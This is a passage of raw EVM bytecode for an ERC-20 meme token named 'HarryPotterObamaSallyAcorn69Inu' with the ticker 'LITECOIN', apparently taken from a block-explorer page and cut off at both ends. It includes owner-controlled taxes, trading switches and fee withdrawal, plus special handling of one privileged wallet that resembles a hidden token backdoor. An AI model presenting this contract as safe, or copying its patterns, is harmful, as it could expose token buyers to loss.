135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506d314dc6448d9338c15b0a0000000060045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719343061121d30610809565b5f80611227610a50565b426040518863ffffffff1660e01b81526004016112499695949392919061320c565b60606040518083038185885af1158015611265573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061128a919061327f565b50505060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161132a9291906132cf565b6020604051808303815f875af1158015611346573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061136a919061330a565b5050565b5f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6113f86115ad565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611484576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147b90612eaf565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036114f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e9906133a5565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611622576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161990613433565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611690576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611687906134c1565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161176a9190612c53565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036117e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117dc9061354f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611853576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161184a906135dd565b60405180910390fd5b5f8111611895576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188c9061366b565b60405180910390fd5b61189d610a50565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561190b57506118db610a50565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561194357503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561197b57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c2557601360149054906101000a900460ff16611a0a5761199c610a50565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a00906136f9565b60405180910390fd5b5b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611ab65760145481611a6b84610809565b611a759190613744565b10611ab5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aac906137e7565b60405180910390fd5b5b5f611ac030610809565b90505f6015548210159050808015611ae55750601360159054906101000a900460ff16155b8015611b3e575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611b565750601360169054906101000a900460ff165b8015611ba9575060055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015611bfc575060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611c2257611c0a82612061565b5f4790505f811115611c2057611c1f47611fd2565b5b505b50505b5f6001905060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611cc5575060055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80611d76575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611d75575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611d83575f9050611f5e565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611e2c575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611e4457600854600c81905550600954600d819055505b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611eed575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611f5d575f60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16315f611f379190613805565b90505f8182611f469190613805565b9050600a54600c81905550600b54600d8190555050505b5b611f6a848484846122cc565b50505050565b5f838311158290611fb7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fae9190612aae565b60405180910390fd5b505f8385611fc59190613805565b9050809150509392505050565b60105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015612036573d5f803e3d5ffd5b5050565b5f806120446122f9565b9050612059818461232290919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff81111561209857612097613838565b5b6040519080825280602002602001820160405280156120c65781602001602082028036833780820191505090505b50905030815f815181106120dd576120dc613865565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612181573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906121a59190613181565b816001815181106121b9576121b8613865565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061221f3060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846115b4565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401612281959493929190613949565b5f604051808303815f87803b158015612298575f80fd5b505af11580156122aa573d5f803e3d5ffd5b50505050505f601360156101000a81548160ff02191690831515021790555050565b806122da576122d961236b565b5b6122e58484846123a4565b806122f3576122f2612565565b5b50505050565b5f805f612304612579565b9150915061231b818361232290919063ffffffff16565b9250505090565b5f61236383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506125d5565b905092915050565b5f600c5414801561237d57505f600d54145b6123a257600c54600e81905550600d54600f819055505f600c819055505f600d819055505b565b5f805f805f806123b48988612636565b9550955095509550955095506124108660025f8c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461270090919063ffffffff16565b60025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506124a18560025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461274990919063ffffffff16565b60025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506124eb816127a6565b6124f5848361285d565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516125529190612c53565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b5f805f60065490505f670de0b6b3a764000090506125aa670de0b6b3a764000060065461232290919063ffffffff16565b8210156125c857600654670de0b6b3a76400009350935050506125d1565b81819350935050505b9091565b5f808311829061261b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126129190612aae565b60405180910390fd5b505f838561262991906139ce565b9050809150509392505050565b5f805f805f805f805f61264e8a600c54600d54612897565b9250925092505f61265d6122f9565b90505f805f61266e8e878787612929565b9250925092508e73ffffffffffffffffffffffffffffffffffffffff1660115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146126ce575f6126d0565b825b836126db9190613805565b92508282828989899c509c509c509c509c509c50505050505050509295509295509295565b5f61274183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611f70565b905092915050565b5f8082846127579190613744565b90508381101561279c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161279390613a48565b60405180910390fd5b8091505092915050565b5f6127af6122f9565b90505f6127c582846129ad90919063ffffffff16565b90506128178160025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461274990919063ffffffff16565b60025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b6128728260065461270090919063ffffffff16565b60068190555061288d8160075461274990919063ffffffff16565b6007819055505050565b5f805f806128c160646128b3888a6129ad90919063ffffffff16565b61232290919063ffffffff16565b90505f6128ea60646128dc888b6129ad90919063ffffffff16565b61232290919063ffffffff16565b90505f61291282612904858c61270090919063ffffffff16565b61270090919063ffffffff16565b905080838395509550955050505093509350939050565b5f805f8061294085896129ad90919063ffffffff16565b90505f61295686896129ad90919063ffffffff16565b90505f61296c87896129ad90919063ffffffff16565b90505f61299482612986858761270090919063ffffffff16565b61270090919063ffffffff16565b9050838184965096509650505050509450945094915050565b5f8083036129bd575f9050612a1e565b5f82846129ca9190613a66565b90508284826129d991906139ce565b14612a19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a1090613b17565b60405180910390fd5b809150505b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015612a5b578082015181840152602081019050612a40565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612a8082612a24565b612a8a8185612a2e565b9350612a9a818560208601612a3e565b612aa381612a66565b840191505092915050565b5f6020820190508181035f830152612ac68184612a76565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612afb82612ad2565b9050919050565b612b0b81612af1565b8114612b15575f80fd5b50565b5f81359050612b2681612b02565b92915050565b5f819050919050565b612b3e81612b2c565b8114612b48575f80fd5b50565b5f81359050612b5981612b35565b92915050565b5f8060408385031215612b7557612b74612ace565b5b5f612b8285828601612b18565b9250506020612b9385828601612b4b565b9150509250929050565b5f8115159050919050565b612bb181612b9d565b82525050565b5f602082019050612bca5f830184612ba8565b92915050565b5f819050919050565b5f612bf3612bee612be984612ad2565b612bd0565b612ad2565b9050919050565b5f612c0482612bd9565b9050919050565b5f612c1582612bfa565b9050919050565b612c2581612c0b565b82525050565b5f602082019050612c3e5f830184612c1c565b92915050565b612c4d81612b2c565b82525050565b5f602082019050612c665f830184612c44565b92915050565b5f805f60608486031215612c8357612c82612ace565b5b5f612c9086828701612b18565b9350506020612ca186828701612b18565b9250506040612cb286828701612b4b565b9150509250925092565b5f60ff82169050919050565b612cd181612cbc565b82525050565b5f602082019050612cea5f830184612cc8565b92915050565b612cf981612af1565b82525050565b5f602082019050612d125f830184612cf0565b92915050565b612d2181612b9d565b8114612d2b575f80fd5b50565b5f81359050612d3c81612d18565b92915050565b5f60208284031215612d5757612d56612ace565b5b5f612d6484828501612d2e565b91505092915050565b5f60208284031215612d8257612d81612ace565b5b5f612d8f84828501612b18565b91505092915050565b5f60208284031215612dad57612dac612ace565b5b5f612dba84828501612b4b565b91505092915050565b5f805f8060808587031215612ddb57612dda612ace565b5b5f612de887828801612b4b565b9450506020612df987828801612b4b565b9350506040612e0a87828801612b4b565b9250506060612e1b87828801612b4b565b91505092959194509250565b5f8060408385031215612e3d57612e3c612ace565b5b5f612e4a85828601612b18565b9250506020612e5b85828601612b18565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612e99602083612a2e565b9150612ea482612e65565b602082019050919050565b5f6020820190508181035f830152612ec681612e8d565b9050919050565b7f4275792072657761726473206d757374206265206265747765656e20302520615f8201527f6e64203325000000000000000000000000000000000000000000000000000000602082015250565b5f612f27602583612a2e565b9150612f3282612ecd565b604082019050919050565b5f6020820190508181035f830152612f5481612f1b565b9050919050565b7f42757920746178206d757374206265206265747765656e20302520616e6420355f8201527f2500000000000000000000000000000000000000000000000000000000000000602082015250565b5f612fb5602183612a2e565b9150612fc082612f5b565b604082019050919050565b5f6020820190508181035f830152612fe281612fa9565b9050919050565b7f53656c6c2072657761726473206d757374206265206265747765656e203025205f8201527f616e642033250000000000000000000000000000000000000000000000000000602082015250565b5f613043602683612a2e565b915061304e82612fe9565b604082019050919050565b5f6020820190508181035f83015261307081613037565b9050919050565b7f53656c6c20746178206d757374206265206265747765656e20302520616e64205f8201527f3525000000000000000000000000000000000000000000000000000000000000602082015250565b5f6130d1602283612a2e565b91506130dc82613077565b604082019050919050565b5f6020820190508181035f8301526130fe816130c5565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f613139601783612a2e565b915061314482613105565b602082019050919050565b5f6020820190508181035f8301526131668161312d565b9050919050565b5f8151905061317b81612b02565b92915050565b5f6020828403121561319657613195612ace565b5b5f6131a38482850161316d565b91505092915050565b5f6040820190506131bf5f830185612cf0565b6131cc6020830184612cf0565b9392505050565b5f819050919050565b5f6131f66131f16131ec846131d3565b612bd0565b612b2c565b9050919050565b613206816131dc565b82525050565b5f60c08201905061321f5f830189612cf0565b61322c6020830188612c44565b61323960408301876131fd565b61324660608301866131fd565b6132536080830185612cf0565b61326060a0830184612c44565b979650505050505050565b5f8151905061327981612b35565b92915050565b5f805f6060848603121561329657613295612ace565b5b5f6132a38682870161326b565b93505060206132b48682870161326b565b92505060406132c58682870161326b565b9150509250925092565b5f6040820190506132e25f830185612cf0565b6132ef6020830184612c44565b9392505050565b5f8151905061330481612d18565b92915050565b5f6020828403121561331f5761331e612ace565b5b5f61332c848285016132f6565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f61338f602683612a2e565b915061339a82613335565b604082019050919050565b5f6020820190508181035f8301526133bc81613383565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61341d602483612a2e565b9150613428826133c3565b604082019050919050565b5f6020820190508181035f83015261344a81613411565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6134ab602283612a2e565b91506134b682613451565b604082019050919050565b5f6020820190508181035f8301526134d88161349f565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f613539602583612a2e565b9150613544826134df565b604082019050919050565b5f6020820190508181035f8301526135668161352d565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6135c7602383612a2e565b91506135d28261356d565b604082019050919050565b5f6020820190508181035f8301526135f4816135bb565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f613655602983612a2e565b9150613660826135fb565b604082019050919050565b5f6020820190508181035f83015261368281613649565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e64205f8201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b5f6136e3603f83612a2e565b91506136ee82613689565b604082019050919050565b5f6020820190508181035f830152613710816136d7565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61374e82612b2c565b915061375983612b2c565b925082820190508082111561377157613770613717565b5b92915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073695f8201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b5f6137d1602383612a2e565b91506137dc82613777565b604082019050919050565b5f6020820190508181035f8301526137fe816137c5565b9050919050565b5f61380f82612b2c565b915061381a83612b2c565b925082820390508181111561383257613831613717565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6138c481612af1565b82525050565b5f6138d583836138bb565b60208301905092915050565b5f602082019050919050565b5f6138f782613892565b613901818561389c565b935061390c836138ac565b805f5b8381101561393c57815161392388826138ca565b975061392e836138e1565b92505060018101905061390f565b5085935050505092915050565b5f60a08201905061395c5f830188612c44565b61396960208301876131fd565b818103604083015261397b81866138ed565b905061398a6060830185612cf0565b6139976080830184612c44565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6139d882612b2c565b91506139e383612b2c565b9250826139f3576139f26139a1565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613a32601b83612a2e565b9150613a3d826139fe565b602082019050919050565b5f6020820190508181035f830152613a5f81613a26565b9050919050565b5f613a7082612b2c565b9150613a7b83612b2c565b9250828202613a8981612b2c565b91508282048414831517613aa057613a9f613717565b5b5092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f613b01602183612a2e565b9150613b0c82613aa7565b604082019050919050565b5f6020820190508181035f830152613b2e81613af5565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201bdf7499fb9bf9ebd057fbd82f92869b42b64f32f5f69f61f975001af445b0ee64736f6c63430008150033

Deployed Bytecode

0x608060405260043610610143575f3560e01c8063715018a6116100b5578063a2a957bb1161006e578063a2a957bb1461040e578063a9059cbb14610436578063c3c8cd8014610472578063c9567bf914610488578063dd62ed3e14610492578063f2fde38b146104ce5761014a565b8063715018a61461033c578063751039fc146103525780638da5cb5b146103685780638f9a55c01461039257806395d89b41146103bc57806398a5c315146103e65761014a565b80632fd689e3116101075780632fd689e314610244578063313ce5671461026e57806349bd5a5e146102985780636d8aa8f8146102c25780636fc3eaec146102ea57806370a08231146103005761014a565b806306fdde031461014e578063095ea7b3146101785780631694505e146101b457806318160ddd146101de57806323b872dd146102085761014a565b3661014a57005b5f80fd5b348015610159575f80fd5b506101626104f6565b60405161016f9190612aae565b60405180910390f35b348015610183575f80fd5b5061019e60048036038101906101999190612b5f565b610533565b6040516101ab9190612bb7565b60405180910390f35b3480156101bf575f80fd5b506101c8610550565b6040516101d59190612c2b565b60405180910390f35b3480156101e9575f80fd5b506101f2610575565b6040516101ff9190612c53565b60405180910390f35b348015610213575f80fd5b5061022e60048036038101906102299190612c6c565b610584565b60405161023b9190612bb7565b60405180910390f35b34801561024f575f80fd5b50610258610658565b6040516102659190612c53565b60405180910390f35b348015610279575f80fd5b5061028261065e565b60405161028f9190612cd7565b60405180910390f35b3480156102a3575f80fd5b506102ac610666565b6040516102b99190612cff565b60405180910390f35b3480156102cd575f80fd5b506102e860048036038101906102e39190612d42565b61068b565b005b3480156102f5575f80fd5b506102fe61073c565b005b34801561030b575f80fd5b5061032660048036038101906103219190612d6d565b610809565b6040516103339190612c53565b60405180910390f35b348015610347575f80fd5b50610350610857565b005b34801561035d575f80fd5b506103666109a5565b005b348015610373575f80fd5b5061037c610a50565b6040516103899190612cff565b60405180910390f35b34801561039d575f80fd5b506103a6610a77565b6040516103b39190612c53565b60405180910390f35b3480156103c7575f80fd5b506103d0610a7d565b6040516103dd9190612aae565b60405180910390f35b3480156103f1575f80fd5b5061040c60048036038101906104079190612d98565b610aba565b005b348015610419575f80fd5b50610434600480360381019061042f9190612dc3565b610b58565b005b348015610441575f80fd5b5061045c60048036038101906104579190612b5f565b610d4e565b6040516104699190612bb7565b60405180910390f35b34801561047d575f80fd5b50610486610d6b565b005b610490610e40565b005b34801561049d575f80fd5b506104b860048036038101906104b39190612e27565b61136e565b6040516104c59190612c53565b60405180910390f35b3480156104d9575f80fd5b506104f460048036038101906104ef9190612d6d565b6113f0565b005b60606040518060400160405280601f81526020017f4861727279506f747465724f62616d6153616c6c7941636f726e3639496e7500815250905090565b5f61054661053f6115ad565b84846115b4565b6001905092915050565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f670de0b6b3a7640000905090565b5f610590848484611777565b61064d8461059c6115ad565b61064885604051806060016040528060288152602001613b366028913960045f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6105ff6115ad565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611f709092919063ffffffff16565b6115b4565b600190509392505050565b60155481565b5f6009905090565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6106936115ad565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071690612eaf565b60405180910390fd5b80601360166101000a81548160ff02191690831515021790555050565b60105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661077c6115ad565b73ffffffffffffffffffffffffffffffffffffffff1614806107f1575060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107d96115ad565b73ffffffffffffffffffffffffffffffffffffffff16145b6107f9575f80fd5b5f47905061080681611fd2565b50565b5f61085060025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461203a565b9050919050565b61085f6115ad565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e290612eaf565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6109ad6115ad565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3090612eaf565b60405180910390fd5b6d314dc6448d9338c15b0a00000000601481905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60145481565b60606040518060400160405280600881526020017f4c495445434f494e000000000000000000000000000000000000000000000000815250905090565b610ac26115ad565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4590612eaf565b60405180910390fd5b8060158190555050565b610b606115ad565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be390612eaf565b60405180910390fd5b5f8410158015610bfd575060038411155b610c3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3390612f3d565b60405180910390fd5b5f8210158015610c4d575060058211155b610c8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8390612fcb565b60405180910390fd5b5f8310158015610c9d575060038311155b610cdc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd390613059565b60405180910390fd5b5f8110158015610ced575060058111155b610d2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d23906130e7565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b5f610d61610d5a6115ad565b8484611777565b6001905092915050565b60105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dab6115ad565b73ffffffffffffffffffffffffffffffffffffffff161480610e20575060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e086115ad565b73ffffffffffffffffffffffffffffffffffffffff16145b610e28575f80fd5b5f610e3230610809565b9050610e3d81612061565b50565b610e486115ad565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ed4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ecb90612eaf565b60405180910390fd5b601360149054906101000a900460ff1615610f24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1b9061314f565b60405180910390fd5b6001601360146101000a81548160ff0219169083151502179055505f737a250d5630b4cf539739df2c5dacb4c659f2488d90508060125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fe0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110049190613181565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611069573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061108d9190613181565b6040518363ffffffff1660e01b81526004016110aa9291906131ac565b6020604051808303815f875af11580156110c6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110ea9190613181565b60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506d314dc6448d9338c15b0a0000000060045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719343061121d30610809565b5f80611227610a50565b426040518863ffffffff1660e01b81526004016112499695949392919061320c565b60606040518083038185885af1158015611265573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061128a919061327f565b50505060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161132a9291906132cf565b6020604051808303815f875af1158015611346573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061136a919061330a565b5050565b5f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffffffffffffff